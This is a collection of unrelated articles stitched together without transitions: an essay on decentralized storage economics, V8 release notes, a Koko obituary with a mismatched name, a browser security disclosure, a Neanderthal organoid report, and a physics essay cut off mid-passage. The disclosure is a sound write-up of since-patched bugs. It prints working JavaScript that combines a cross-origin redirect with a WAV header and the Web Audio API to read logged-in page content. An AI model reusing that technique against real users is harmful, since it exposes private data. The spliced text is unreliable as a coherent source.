Despite this history, initial coin offerings for these nascent systems have raised incredible amounts of "money", if you believe the heavily manipulated "markets". According to Sir John Templeton the four words are "this time is different". Below the fold I summarize the history, then ask what is different this time, and how expensive is it likely to be?

The idea that the edge of the Internet has vast numbers of permanently connected, mostly-empty hard disks that could be corralled into a peer-to-peer storage system that was free, or at least cheap, while offering high reliability and availability has a long history. The story starts:

A long, long time ago in a computer far, far away....

Mi Disco Es Su Disco

The workstations were available more than 75% of the time observed. Large capacities were steadily available on an hour to hour, day to day, and month to month basis. These capacities were available not only during the evening hours and on weekends, but during the busiest times of normal working hours.

We found that only half of all disk space is in use, and by eliminating duplicate files, this usage can be significantly reduced,depending on the population size. Half of all machines are up and accessible over 95% of the time, and machine uptimes are randomly correlated. Machines that are down for less than 72 hours have a high probability of coming back up soon. Machine lifetimes are deterministic, with an expected lifetime of around 300 days. Most machines are idle most of the time, and CPU loads are not correlated with the fraction of time a machine is up and are weakly correlated with disk loads.

All peers are created equal

In a symmetric storage system, node A stores data on node B if and only if B also stores data on A. In such a system, B can periodically check to see if its data is still held by A, and vice versa. Collectively, these pairwise checks ensure that each node contributes as it consumes, and some systems require symmetry for exactly this reason [6, 18].

I am shocked, shocked to find that
cheating is going on in here

Several mechanisms to compel storage fairness have been proposed, but all of them rely on one or more features that run counter to the goals of peer-to-peer storage systems. Trusted third parties can enforce quotas and certify the rights to consume storage [23] but require centralized administration and a common domain of control. One can use currency to track the provision and consumption of storage space [16], but this requires a trusted clearance infrastructure. Finally, certified identities and public keys can be used to provide evidence of storage consumption [16, 21, 23], but require a trusted means of certification. All of these mechanisms require some notion of centralized, administrative overhead—precisely the costs that peer-to-peer systems are meant to avoid.

enforces fairness in peer-to-peer storage systems without requiring trusted third parties, symmetric storage relationships, monetary payment, or certified identities. Each peer that requests storage of another must agree to hold a claim in return---a placeholder that accounts for available space. After an exchange, each partner checks the other to ensure faithfulness. Samsara punishes unresponsive nodes probabilistically. Because objects are replicated, nodes with transient failures are unlikely to suffer data loss, unlike those that are dishonest or chronically unavailable.

From each according to his ability,
to each according to his needs

a mechanism where sites conduct auctions to determine who to trade with. A local site wishing to make a copy of a collection announces how much remote space is needed, and accepts bids for how much of its own space the local site must "pay" to acquire that remote space. We examine the best policies for determining when to call auctions and how much to bid, as well as the effects of "maverick" sites that attempt to subvert the bidding system. Simulations of auction and trading sessions indicate that bid trading can allow sites to achieve higher reliability than the alternative: a system where sites trade equal amounts of space without bidding.

Its 10pm, do you know where your bytes are?

• The "file system and object store" model, in which the client sees a single service provider. The service decides which peer stores what; the client has no visibility into where the data lives.
• The "storage marketplace" model, in which the client sees offers from peers to store data at various prices, whether in space or cash. The client chooses where to store what.

If at first you don't succeed ...

• Their model of the edge of the Internet was that there were a lot of desktop computers, continuously connected and powered-up, with low latency and no bandwidth charges, and with 3.5" hard disks that were mostly empty. Since then, the proportion of the edge with these characteristics has become vanishingly small.
• In many cases, for example Samsara, the idea was that participants would contribute disk space and, in return, be entitled to store data in the network. Mechanisms were needed to enforce this trade, to ensure that peers actually did store the data they claimed to, and these mechanisms turned out to be hard to make attack-resistant.
• Even if erasure coding were used to reduce the overall replication factor, it would still be necessary for participants to contribute significantly more space than they could receive in return. And the replication factor would need to be higher than in a centrally managed storage network.
• I don't remember any of the peer-to-peer systems in which participants could expect a monetary reward. In the days when storage was thought to be effectively free, why would participants need to be paid? Alas, storage is a lot less free than it used to be.

• The centralized systems such as Intermemory and Oceanstore never managed to set up the administrative and business mechanisms to channel funds from users to storage service suppliers, let alone the marketing and sales needed to get users to pay.
• The idea that peer-to-peer technology could construct a reliable long-term storage infrastructure from a self-organizing set of unreliable, marginally motivated desktops wasn't persuasive. And in practice it is really hard to pull off.

Show me the money!

Both Intermemory and Oceanstore were proposed as subscription services; users paid a monthly fee to a central organization that paid for the network of servers. In practice the business of handling these payments never emerged. The symmetric systems used a "payment in kind" model to avoid the need for a business of this kind.

The idea that the Internet would enable automated "micro-payments" has a history as long as that of distributed storage, but I won't recount it. Had there been a functional micro-payment system it is possible that a distributed or even decentralized storage network could have used it and succeeded. Of course, Clay Shirky had pointed out the reason there wasn't a functional Internet micro-payment system back in 2000:

The Short Answer for Why Micropayments Fail

Users hate them.

The Long Answer for Why Micropayments Fail

Why does it matter that users hate micropayments? Because users are the ones with the money, and micropayments do not take user preferences into account.

a modification to Bitcoin that repurposes its mining resources to achieve a more broadly useful goal: distributed storage of archival data. We call our new scheme Permacoin. Unlike Bitcoin and its proposed alternatives, Permacoin requires clients to invest not just computational resources, but also storage. Our scheme involves an alternative scratch-off puzzle for Bitcoin based on Proofs-of-Retrievability (PORs). Successfully minting money with this SOP requires local, random access to a copy of a file. Given the competition among mining clients in Bitcoin, this modified SOP gives rise to highly decentralized file storage, thus reducing the overall waste of Bitcoin.

This time is different

The first is the technology, not so much the underlying storage technology but more the business and accounting technology that is intended to implement a flourishing market of storage providers. The fact that these services are addressing the problem of a viable business model for providers in a decentralized storage market is a good thing. The lack of a viable business model is a big reason why none of the predecessors succeeded

Since the key property of a cryptocurrency-based storage service is a lack of trust in the storage providers, Proofs of Space and Time are required. As Bram Cohen has pointed out, this is an extraordinarily difficult problem at the very frontier of research. No viable system has been deployed at scale for long enough for reasonable assurance of its security. Thus the technology difference between these systems and their predecessors is at best currently a maybe.

However:

It Isn't About The Technology

What is the centralization that decentralized Web advocates are reacting against? Clearly, it is the domination of the Web by the FANG (Facebook, Amazon, Netflix, Google) and a few other large companies such as the cable oligopoly.

These companies came to dominate the Web for economic not technological reasons.

To succeed P2 has to take market share from the centralized storage services that dominate the market for Internet-based storage. In practice it means that it has to take market share from Amazon's S3, which has dominated the market since it was launched in 2006. How do they stack up against each other?

• P2 will be slower than S3, because the network between the clients and the peers will be slower than S3's infrastructure, and because S3 doesn't need the overhead of enforcement.
• P2 will lack access controls, so clients will need to encrypt everything they store.
• P2 will be less reliable, since a peer stores a single copy where S3 stores 3 with geographic diversity. P2 clients will be a lot more complex than S3 clients, since they need to implement their own erasure coding to compensate for the lack of redundancy at the service.
• P2's pricing will be volatile, where S3's is relatively stable.
• P2's user interface and API will be a lot more complex than S3's, because clients need to bid for services in a marketplace using coins, and bid for coins in an exchange using "fiat currency". 

Despite this, these services have been raising extraordinary amounts of capital. For example, on September 7^th last year Filecoin, one of the more credible efforts at a cryptocurrency-based storage service, closed a record-setting Initial Coin Offering:

Blockchain data storage network Filecoin has officially completed its initial coin offering (ICO), raising more than $257 million over a month of activity.

Filecoin's ICO, which began on August 10, quickly garnered millions in investment via CoinList, a joint project between Filecoin developer Protocol Labs and startup investment platform AngelList. That launch day was notable both for the large influx of purchases of Simple Agreements for Future Tokens, or SAFTs (effectively claims on tokens once the Filecoin network goes live), as well as the technology issues that quickly sprouted as accredited investors swamped the CoinList website.

Today, the ICO ended with approximately $205.8 million raised, a figure that adds to the $52 million collected in a presale that included Sequoia Capital, Andreessen Horowitz and Union Square Ventures, among others.

a significant portion of the amount raised under the SAFTs will be used to fund the Company’s development of a decentralized storage network that enables entities to earn Filecoin (the “Filecoin Network”).

The tokens being bought in this sale won’t be delivered until the Filecoin Network launches. Currently, there is no launch date set.

Using 2016 data from Robert Fontana and Gary Decad of IBM, and ignoring the costs of space, power, bandwidth, servers, system administration, etc. the media alone represent $3.6M in capital. Lets assume a 5-year straight-line depreciation ($720K/yr) and a 10% return on capital ($360K/yr) that is $1.08M/yr to the providers just for the disks. If we assume the media are 1/3 of the total cost of storage provision, the system needs to be storing 107PB.

Another way of looking at these numbers is that Amazon's margins on S3 are awesome, something I first wrote about 5 years ago.

Running a P2 peer doesn't look like a good business, even ignoring the fact that only 70% of the Filecoin are available to be mined by storage suppliers. But wait! The cryptocurrency part adds the prospect of speculative gain! Oh no, it doesn't:

When Amazon launched S3 in March 2006 they charged $0.15 per GB per month. Nearly 5 years later, S3 charges $0.14 per GB per month for the first TB.

Source

Filecoin futures 6/16/18

For whosoever hath, to him shall be given,
and he shall have more abundance:
but whosoever hath not,
from him shall be taken away even that he hath.

The simplistic version of the problem is this:

• The income to a participant in a P2P network of this kind should be linear in their contribution of resources to the network.
• The costs a participant incurs by contributing resources to the network will be less than linear in their resource contribution, because of the economies of scale.
• Thus the proportional profit margin a participant obtains will increase with increasing resource contribution.
• Thus the effects described in Brian Arthur's Increasing Returns and Path Dependence in the Economy will apply, and the network will be dominated by a few, perhaps just one, large participant.

The advantages of P2P networks arise from a diverse network of small, roughly equal resource contributors. Thus it seems that P2P networks which have the characteristics needed to succeed (by being widely adopted) also inevitably carry the seeds of their own failure (by becoming effectively centralized).

But that's not the worst of it. Suppose P2 storage became profitable and started to take business from S3. Amazon's slow AI has an obvious response, it can run P2 peers for itself on the same infrastructure as it runs S3. With its vast economies of scale and extremely low cost of capital, P2-on-S3 would easily capture the bulk of the P2 market. It isn't just that, if successful, the P2 network would become centralized, it is that it would become centralized at Amazon!

Every six weeks, we create a new branch of V8 as part of our release process. Each version is branched from V8’s Git master immediately before a Chrome Beta milestone. Today we’re pleased to announce our newest branch, V8 version 6.8, which is in beta until its release in coordination with Chrome 68 Stable in several weeks. V8 v6.8 is filled with all sorts of developer-facing goodies. This post provides a preview of some of the highlights in anticipation of the release.

Memory

JavaScript functions unnecessarily kept outer functions and their metadata (known as SharedFunctionInfo or SFI) alive. Especially in function-heavy code that relies on short-lived IIFEs, this could lead to spurious memory leaks. Before this change, an active Context (i.e. an on-heap representation of a function activation) kept the SFI alive of the function that created the context:

By letting the Context point to a ScopeInfo object which contains the stripped-down information necessary for debugging, we can break the dependency on the SFI.

We’ve already observed 3% V8 memory improvements on mobile devices over a set of top 10 pages.

In parallel we have reduced the memory consumption of SFIs themselves, removing unnecessary fields or compressing them where possible, and decreased their size by ~25%, with further reductions coming in future releases. We’ve observed SFIs taking up 2–6% of V8 memory on typical websites even after detaching them from the context, so you should see memory improvements on code with a large number of functions.

Performance

Array destructuring improvements

The optimizing compiler did not generate ideal code for array destructuring. For example, swapping variables using [a, b] = [b, a] used to be twice as slow as const tmp = a; a = b; b = tmp. Once we unblocked escape analysis to eliminate all temporary allocation, array destructuring with a temporary array is as fast as a sequence of assignments.

Object.assign improvements

So far Object.assign had a fast path written in C++. That meant that the JavaScript-to-C++ boundary had to be crossed for each Object.assign call. An obvious way to improve the builtin performance was to implement a fast path on the JavaScript side. We had two options: either implement it as an native JS builtin (which would come with some unnecessary overhead in this case), or implement it using CodeStubAssembler technology (which provides more flexibility). We went with the latter solution. The new implementation of Object.assign improves the score of Speedometer2/React-Redux by about 15%, improving the total Speedometer 2 score by 1.5%.

TypedArray.prototype.sort improvements

TypedArray.prototype.sort has two paths: a fast path, used when the user does not provide a comparison function, and a slow path for everything else. Until now, the slow path reused the implementation for Array.prototype.sort, which does a lot more than is necessary for sorting TypedArrays. V8 v6.8 replaces the slow path with an implementation in CodeStubAssembler. (Not directly CodeStubAssembler but a domain-specific language that is built on top of CodeStubAssembler).

Performance for sorting TypedArrays without a comparison function stays the same while there is a speedup of up to 2.5× when sorting using a comparison function.

WebAssembly

In V8 v6.8 you can start using trap-based bounds checking on Linux x64 platforms. This memory management optimization considerably improves WebAssembly’s execution speed. It’s already used in Chrome 68, and in the future more platforms will be supported incrementally.

V8 API

Please use git log branch-heads/6.7..branch-heads/6.8 include/v8.h to get a list of the API changes.

Developers with an active V8 checkout can use git checkout -b 6.8 -t branch-heads/6.8 to experiment with the new features in V8 v6.8. Alternatively you can subscribe to Chrome’s Beta channel and try the new features out yourself soon.

Posted by the V8 team

Rest in Peace, Koko.

The popular gorilla, known for her extraordinary mastery of sign language, has passed away at the age of 46.

Koko died in her sleep yesterday morning.

The Gorilla Foundation announced her passing today and said: ‘Koko touched the lives of millions as an ambassador for all gorillas and an icon for interspecies communication and empathy.

Who are Prince George and Princess Charlotte's godparents and who will be Prince Louis'?

‘She was beloved and will be deeply missed.’

Koko was born on July 4, 1971 at the San Francisco Zoo and was named Hanabi-ko (Japanese for ‘Fireworks Child’).

She quickly became famous after was taught sign language by Dr. Francine ‘Penny’ Patterosn.

In 1974, Dr Patterson and Dr Ronald Cohn moved Koko and the project to Stanford and went on to establish The Gorilla Foundation.

While at Stanford the project expanded to include a second western lowland gorilla, Michael.

In 1979, Koko and The Gorilla Foundation moved to the Santa Cruz Mountains where Ndume joined them as a fellow ambassador for their species.

Koko’s capacity for language and empathy opened the minds and hearts of millions.

She was featured in multiple documentaries and appeared on the cover of National Geographic twice.

The first cover, in October of 1978, featured a photograph Koko had taken of herself in a mirror.

The second issue, in January of 1985, included the story of Koko and her kitten, All Ball.

Following the article, the book Koko’s Kitten was published and continues to be used in primary schools worldwide.

MORE: An entire estate with its own pub has just gone on the market

The foundation said in their statement: ‘Ginny’s impact has been profound and what she has taught us about the emotional capacity of gorillas and their cognitive abilities will continue to shape the world.

‘The foundation will continue to honor Koko’s legacy and advance our mission with ongoing projects including conservation efforts in Africa, the great ape sanctuary on Maui, and a sign language application featuring Koko for the benefit of both gorillas and children.’

I accidentally discovered a huge browser bug a few months ago and I'm pretty excited about it. Security engineers always seem like the "cool kids" to me, so I'm hoping that now I can be part of the club, and y'know, get into the special parties or whatever.

I've noticed that a lot of these security disclosure things are only available as PDFs. Personally, I prefer the web, but if you're a SecOps PDF addict, check out the PDF version of this post.

Oh, I guess the vulnerability needs an extremely tenuous name and logo right? Here goes:

Why Wavethrough? Well, it involves wave audio, and data is allowed through that shouldn't be. Tenuous enough?

All the browser security bugs I cover in this post have since been fixed. Make sure your browser is up to date.

As I said, I stumbled into this whole thing by accident. Here's how it happened from the start:

If you have a service worker like this:

addEventListener('fetch',event=>{event.respondWith(fetch(event.request));});

…the idea is you shouldn't see any behavioural difference between this and no-service-worker. Unfortunately cross-origin <video> and <audio> doesn't quite behave the same. Seeking doesn't work, and sometimes it fails entirely.

<video> and <audio> are different from most web APIs in that they use range requests. Ok, let's push that onto the stack:

Range requests

Usually when the browser makes a request, it's asking for the whole resource. However, HTTP defines the Range header and partial content responses. For example, the request may have the following header:

…which is requesting bytes 50-100 (inclusive) of the resource. The server may then respond with a 206 Partial Content, and a header like this:

Content-Range: bytes=50-100/5000

…indicating it's returning bytes 50-100 (inclusive) of a 5000 byte resource.

Browsers use this for resuming downloads, but it's also used by media elements if the user seeks the media, so it can go straight to that point without downloading everything before it, or to pick up metadata if it's one of those annoying media formats that has important metadata at the end of the file.

Unfortunately, via a service worker, that Range header was going missing (dun-dun-dunnnnnnnnn!). This is because media elements make what we call "no-cors" requests. Let's push that onto the stack too:

No-cors requests

If you fetch() something from another origin, that origin has to give you permission to view the response. By default the request is made without cookies, and if you want cookies to be involved, the origin has to give extra permission for that. If you want to send fancy headers, the browser checks with the origin first, before making the request with the fancy headers. This is known as CORS.

However, some APIs couldn't give a shit about all that. They make "no-cors" requests, so the checks above don't happen. If you make a no-cors request to another origin, it's sent with cookies and you get back an "opaque" response. Developers shouldn't be able to access the data of an opaque response, but particular APIs may interpret that data behind the scenes.

Take <img> for instance. If you include an <img> that points to another origin, it'll make a no-cors request to that origin using that origin's cookies. If valid image data is returned, it'll display on your site. Although you can't access the pixel data of that image, data is still leaked through the width and height of the image. You also know whether or not you received valid image data.

Let's say there's an image that's only accessible if the user is logged into a particular site. An attacker can tell from the load/error event of the <img> whether that user is logged into that site. The user's privacy has been compromised. Yaaaay.

Allowing this to happen is a mistake, but we have decades of content depending on this behaviour. We can't simply prevent it, but we can add things to mitigate it in certain situations. If we started the web again, everything would require something like CORS.

It isn't just images either. Classic non-module scripts, CSS, and media elements also make no-cors requests by default.

No-cors + ranges + service workers

So, back to our pass-through service worker:

addEventListener('fetch',event=>{event.respondWith(fetch(event.request));});

A media element would make a no-cors request with a Range header. When it's passed to fetch() the request object is checked. At this point fetch sees a header (Range) that isn't allowed in no-cors requests, and silently removes it. Therefore the server doesn't see the Range header, so it just responds with a standard 200 response.

Why is this header filtered? Well, no one standardised how they were supposed to work. Actually that deserves its own heading:

Range requests were never standardised

They're standardised in HTTP, but not by HTML. We know what the headers look like, and when they should appear, but there's nothing to say what a browser should actually do with them.

• Should all media requests be range requests, or just additional requests?
• What happens if the returned range ends sooner/later than what the browser asked for?
• What happens if the returned range starts sooner/later than what the browser asked for?
• What happens if a range is requested but the server returns a normal 200 response?
• What happens if a range is requested but the server returns a redirect?
• What happens if the underlying content appears to have changed between requests?
• What happens if a normal request is made but a 206 partial is returned?

None of this is defined, so browsers all kinda do different things. Yay.

We couldn't just add the Range header to the safelist, as developers would be able to set it to values the browser would never usually send, and that presents a security risk.

Also, with a service worker in the middle, you can respond to a request however you want, even if it's a no-cors request to another origin. For example, you can have an <img> on your page that points to facebook.com, but your service worker could return data from twitter.com. This isn't a problem as you can only lie to yourself.

However, media elements piece multiple responses together and treat it as a single resource, and that opens up an interesting attack vector: Can known data be mixed with unknown data to reveal the content of the unknown data?

I pretended to be a hacker and wrote down all the attacks I could think of, and Anne van Kesteren pointed out that some of them were possible without a service worker, as you can do similar things with redirects. So, I investigated how browsers currently handle these situations.

Mixing known and unknown data

I created a site that does the above. I used a PCM wav header because everything after the header is valid data, and whatever Facebook returned would be treated as uncompressed audio.

In my opinion, browsers should reject the response from Facebook, as the media element shouldn't allow mixing visible and opaque data. Nor should it allow opaque data from multiple sources, although that isn't happening here.

Chrome and Safari rejected as soon as they saw the redirect. This is safe, although they would need to check the response if a service worker was in the middle too, since that can result in a response from somewhere else without a redirect occurring.

However…

Firefox security bug

Beta and nightly versions of Firefox at the time allowed the redirect, combine the responses together, and expose the duration of the audio through mediaElement.duration.

Because I set the frequency, bit depth, and channel count of the audio in the header, I could determine the length of the cross-origin resource from the audio length using ✨basic maths✨.

constcontentLength=audio.duration*/* WAV frequency */44100+/* WAV header length */44;

It looks like the size isn't detected exactly, but Google returns a range, so the reported size includes the extra 44 bytes that are missing from the start (the WAV header).

And here's a link to the attack, which works in Firefox 59.0b9 at least.

Leaking the length of a resource may not sound like a big deal, but consider an endpoint like gender.json. The content length can give a lot away. Also see Timing attacks in the Modern Web (PDF, heh) which demonstrates the amount of information content-length can leak.

Firefox handled this brilliantly. Within three hours Paul Adenot replied to the bug report, confirming it, and digged into other potential leaks (there weren't any). I was able to engage with engineers directly on how the issue should be fixed, which was important as I was planning how to standardise the mitigation.

Since this was a regression caught in beta, Firefox were able to patch it before it reached stable.

Edge security bug

Edge suffered from the same kind of bug, but with a huge twist. Firstly, it didn't care if the other server returned a 206 or not. Secondly, and this is the big one, it allowed the resulting audio to pass through the web audio API. The web audio API is like the <canvas> equivalent for audio, meaning I could monitor the samples being played:

// Get the audio element.constaudio=document.querySelector('audio');// Create a web audio context.constac=newAudioContext();// Connect the two.constsource=ac.createMediaElementSource(audio);// Create a script processor.// This lets me transform the audio data. I don't really care// about transforming, I just want to collect the data.constscriptNode=ac.createScriptProcessor(256,1,1);constdatas=[];scriptNode.onaudioprocess=event=>{constinputData=event.inputBuffer.getChannelData(0);// Store the audio dataif(!audio.paused)datas.push(inputData.slice());};// Connect the processor.source.connect(scriptNode);scriptNode.connect(ac.destination);audio.addEventListener('ended',event=>{source.disconnect(scriptNode);scriptNode.disconnect(ac.destination);// Now I can look at all the data received, and turn it from// audio sample data, back into bytes, then into a string.conststr=datas.reduce((str,data)=>{// Each sample is -1 to 1.// In the original wav it was 16-bits per sample,// so I map each value to a signed 16-bit value.constints=Array.from(data).map(num=>Math.round(num*32768));// Then put that into a typed array.constint16=newInt16Array(ints);// But, assuming utf-8, I need unsigned 8-bit chunks:constbytes=newUint8Array(int16.buffer);// Now I can create a string from that.returnstr+Array.from(bytes).map(b=>String.fromCharCode(b)).join('')},'');// Output the data.document.body.appendChild(document.createTextNode(str));});

And here's what that looks like:

The text you see is the content of BBC News. Since the request is made with cookies, the content is the "logged in" view, although I wasn't logged in for the demo.

It's kinda pathetic how excited I got about this, but this is a huge bug. It means you could visit my site in Edge, and I could read your emails, I could read your Facebook feed, all without you knowing.

And here's a link to the attack. If this works in your version of Edge, update your browser immediately.

Reporting the bug to Microsoft

You're about to witness a boy in his mid-30s having a massive entitled whinge. If you want to avoid that, skip this section, but I really need to get it off my chest. The experience I had with Microsoft was very different to Firefox.

I filed the issue in Edge's bug tracker on March 1st and notified secure@microsoft.com. I got an email from Microsoft security later that day saying that they don't have access to Edge's bug tracker, and asked if I could paste the details into an email for them. So yeah, Microsoft's security team don't have visibility into Edge security issues. Anyway, I sent them the details of the exploit over plain email.

The next day they said they couldn't investigate the issue unless I provided the source code. C'mon folks, the "view source" button is right there. Anyway, I sent them the source. Then there was 20 days of silence.

At this point I had no idea if they were able to understand the issue, or if they knew how serious it was. I pointed out that the attack could be used to read people's private messages, but received no response.

I asked Jacob Rossi and Patrick Kettner (awesome folks who work on the Edge team) if they could chase it internally. After they did, I finally got a reply from Microsoft security saying they were "developing a fix", with no further detail.

If you find a bug like this, you're eligible for a bounty. I asked if I could nominate a charity or two to receive the bounty. There was no response. 14 days of silence.

I asked Patrick to chase them again (thanks Patrick!), and they replied saying they wouldn't be able to give the bounty to charity, despite their public docs saying otherwise. Apparently the rules changed at some point, and I was looking at old docs. Whatever. Thankfully Google are ok with me taking the money directly, and will match what I donate (I found the bug while at work, so I was worried about the legal implications of taking the money. I'm sure there'll be some tax complications too, ugh).

I wasn't getting any progress update, or any details on how they planned to fix it (which would have been useful from a standards perspective). So, I shitposted on Twitter, and Jun Kokatsu kinda sniped back. Jun is a security engineer at Edge, and we got chatting over DMs. And holy shit, this is who I should have been talking to all along.

Jun told me there had been a lot of activity around the bug internally, and they're looking to improve visibility of this kind of stuff to the reporter. We were able to discuss what the fix would look like, and how that would work with a service worker in the middle. I really can't stress enough how helpful Jun has been.

Microsoft released a patch for the bug, and published CVE-2018-8235. I found out about this through Jun. I haven't heard anything through the official channel.

On June 7th I asked the official contact for an update on the bug bounty, since they haven't confirmed any of that yet. I've yet to receive a reply. Update: Shortly after publishing this they contacted me to say I qualify for the bounty.

Ok, that was a lot of complaining, but I really want Microsoft to look at the experience I had with Firefox and learn from it. Security issues like this put their users at huge risk, and they need to ensure reporting these things isn't more effort than it's worth.

Standards are important

I've covered two browser security issues here, but these bugs started when browsers implemented range requests for media elements, which wasn't covered by the standard. These range requests were genuinely useful, so all browsers did it by copying each others behaviour, but no one integrated it into the standard.

The result is the browsers all behave slightly differently, and some ended up with security issues.

This is why standards are important. Chrome had a similar security issue a few years ago, but instead of just fixing it in Chrome, the fix should have been written into a standard, and tests should have been written for other browsers to check against.

I've been working to improve standards here. Range requests are now able to pass through a service worker safely according to the spec. The next step is to specify the request and response handling for media elements.

Also, CORB has been added to fetch. The aim here is to reduce the capabilities of no-cors while retaining compatibility with the web. For instance:

<imgsrc="https://facebook.com/secret-data.json">

Previously, the above would fail to load, but the response would be in the same process as the rest of the page. This is really bad thing given Spectre and Meltdown. But CORB will prevent that resource entering the page process, since its content (JSON) isn't something that can be loaded by any no-cors API.

CORB also prevents the attack outlined in this post, as it wouldn't allow text/html content to enter the process as the result of a no-cors request.

And that's it! I now have a CVE number I can have etched on my grave. And I'm going to sit here and patiently await my invite to all the cool security parties.

Thanks to Sandra and Monica Stromann, whose icons I butchered to create the Wavethrough logo. Also thanks to Mathias Bynens, Jun Kokatsu, and Paul Lewis for proofreading & corrections.

Until now, researchers wanting to understand the Neanderthal brain and how it differed from our own had to study a void. The best insights into the neurology of our mysterious, extinct relatives came from analyzing the shape and volume of the spaces inside their fossilized skulls.

But a recent marriage of three hot fields—ancient DNA, the genome editor CRISPR, and "organoids" built from stem cells—offers a provocative, if very preliminary, new option. At least two research teams are engineering stem cells to include Neanderthal genes and growing them into "minibrains" that reflect the influence of that ancient DNA.

None of this work has been published, but Alysson Muotri, a geneticist at the University of California, San Diego (UCSD) School of Medicine, described his group's Neanderthal organoids for the first time this month at a UCSD conference called Imagination and Human Evolution. His team has coaxed stem cells endowed with Neanderthal DNA into pea-size masses that mimic the cortex, the outer layer of real brains. Compared with cortical minibrains made with typical human cells, the Neanderthal organoids have a different shape and differences in their neuronal networks, including some that may have influenced the species's ability to socialize. "We're trying to recreate Neanderthal minds," Muotri says.

Muotri focused on one of approximately 200 protein-coding genes that differ between Neanderthals and modern humans. Known as NOVA1, it plays a role in early brain development in modern humans and also is linked to autism and schizophrenia. Because it controls splicing of RNA from other genes, it likely helped produce more than 100 novel brain proteins in Neanderthals. Conveniently, just one DNA base pair differs between the Neanderthal gene and the modern human one.

Muotri and his co-workers start with skin cells from a "neurotypical person"—someone without any known genetic defects linked to neurological disorders—and manipulate their genomes to turn them into pluripotent stem cells. Using CRISPR, the team then targets NOVA1 and swaps in the Neanderthal base pair to replace the modern human one. To avoid being misled by the "off-target" DNA changes made by CRISPR as well as genetic errors that can occur from producing the stem cells, they sequence the resulting cells and discard any that have unintended mutations.

It takes several months to grow the Neanderthal DNA–containing stem cells into organoids—"We call them Neanderoids," Muotri says. Comparing them with modern human brain organoids made under identical conditions, his team found that the neuronal cells with the Neanderthalized NOVA1 migrate more quickly within an organoid as they form structures. "We think it's related to the shape of the organoid, but we have no idea what it means," says Muotri, noting that the Neanderoids have a "popcorn" shape, whereas modern human cortical organoids are spherical. The Neanderoid neurons also make fewer synaptic connections, creating what resembles an abnormal neuronal network.

Several of these differences mirror what Muotri has found studying neuronal development in the brains of children with autism. "I don't want families to conclude that I'm comparing autistic kids to Neanderthals, but it's an important observation," says Muotri, who has a stepson with autism. "In modern humans, these types of changes are linked to defects in brain development that are needed for socialization. If we believe that's one of our advantages over Neanderthals, it's relevant."

Muotri has developed the modern human brain organoids to the stage where his team can detect oscillating electrical signals within the balls of tissue. They are now wiring the organoids to robots that resemble crabs, hoping the organoids will learn to control the robots' movements. Ultimately, Muotri wants to pit them against robots run by brain Neanderoids.

"It's kind of wild," says Simon Fisher, a geneticist who heads the Max Planck Institute for Psycholinguistics in Nijmegen, the Netherlands, who famously engineered mice to have a mutated human gene linked to speech disorders. "It's creative science."

In recent years, physicists have been watching the data coming in from the Large Hadron Collider (LHC) with a growing sense of unease. We’ve spent decades devising elaborate accounts for the behaviour of the quantum zoo of subatomic particles, the most basic building blocks of the known universe. The Standard Model is the high-water mark of our achievements to date, with some of its theoretical predictions verified to within a one-in-ten-billion chance of error – a simply astounding degree of accuracy. But it leaves many questions unanswered. For one, where does gravity come from? Why do matter particles always possess three, ever-heavier copies, with peculiar patterns in their masses? What is dark matter, and why does the universe contain more matter than antimatter?

In the hope of solving some of these mysteries, physicists have been grafting on elegant and exciting new mathematical structures to the Standard Model. The programme follows an arc traced by fundamental physics since the time of Isaac Newton: the pursuit of unification, in which science strives to explain seemingly disparate ‘surface’ phenomena by identifying, theorising and ultimately proving their shared ‘bedrock’ origin. This top-down, reductive style of thinking has yielded many notable discoveries. Newton perceived that both an apple falling to the ground, and the planets orbiting around the sun, could be explained away by gravity. The physicist Paul Dirac came up with antimatter in 1928 by marrying quantum mechanics and Einstein’s special theory of relativity. And since the late 20th century, string theorists have been trying to reconcile gravity and quantum physics by conceiving of particles as tiny vibrating loops of string that exist in somewhere between 10 and 26 dimensions.

So when the European Organization for Nuclear Research (CERN) cranked up the LHC just outside Geneva for a second time in 2015, hopes for empirical validation were running high. The fruits of physicists’ most adventurous top-down thinking would finally be put to the test. In its first three-year run, the LHC had already notched up one astounding success: in 2012, CERN announced that the Higgs boson had been found, produced in high-energy, head-on collisions between protons. The new particle existed for just a fleeting fraction of a second before decaying into a pair of tell-tale photons at specific, signature energies. What set the scientific world alight was not the excitement of a new particle per se, but the fact it was a smoking gun for a theory about how matter gets its mass. Until the British physicist Peter Higgs and others came up with their hypothetical boson in 1964, the emerging mathematical model had predicted – against the evidence – that particles should have no mass at all. Eventually, half a century after the ‘fix’ was first proposed, the boson officially entered the subatomic bestiary, the last bit of the Standard Model to be experimentally verified.

This time, though, none of the more exotic particles and interactions that theorists hoped to see has been forthcoming. No ‘stop squarks’, no ‘gluinos’, no ‘neutralinos’. The null results are now encrusting the hull of the Standard Model, like barnacles on a beautiful old frigate, and dragging her down to the ocean floor. It looks like the centuries-long quest for top-down unification has stalled, and particle physics might have a full-blown crisis on its hands.

Behind the question of mass, an even bigger and uglier problem was lurking in the background of the Standard Model: why is the Higgs boson so light? In experiments it weighed in at 125 times the mass of a proton. But calculations using the theory implied that it should be much bigger – roughly ten million billion times bigger, in fact.

This super-massive Higgs boson is meant to be the result of quantum fluctuations: an ultra-heavy particle-antiparticle pair, produced for a fleeting instant and then subsequently annihilated. Quantum fluctuations of ultra-heavy particle pairs should have a profound effect on the Higgs boson, whose mass is very sensitive to them. The other particles in the Standard Model are shielded from such quantum effects by certain mathematical symmetries – that is, things don’t change under transformation, like a square turned through 90 degrees – but the Higgs boson is the odd one out, and feels the influence very keenly.

Except that it doesn’t, because the mass of the Higgs appears to be so small. One logical option is that nature has chosen the initial value of the Higgs boson mass to precisely offset these quantum fluctuations, to an accuracy of one in 10¹⁶. However, that possibility seems remote at best, because the initial value and the quantum fluctuation have nothing to do with each other. It would be akin to dropping a sharp pencil onto a table and having it land exactly upright, balanced on its point. In physics terms, the configuration of the pencil is unnatural or fine-tuned. Just as the movement of air or tiny vibrations should make the pencil fall over, the mass of the Higgs shouldn’t be so perfectly calibrated that it has the ability to cancel out quantum fluctuations.

However, instead of an uncanny correspondence, maybe the naturalness problem with the Higgs boson could be explained away by a new, more foundational theory: supersymmetry. To grasp supersymmetry, we need to look a bit more closely at particles. Particles behave a bit like tiny spinning tops, although the amount of their spin is restricted. For example, all electrons in the universe have the same amount of spin; all photons have double this amount, and all Higgs bosons have no spin at all. The fundamental unit of spin is the spin of the electron. Other particles may only have spins equal to some whole number multiplied by the electron’s spin.

Each collision is a quantum process, which means it’s inherently random

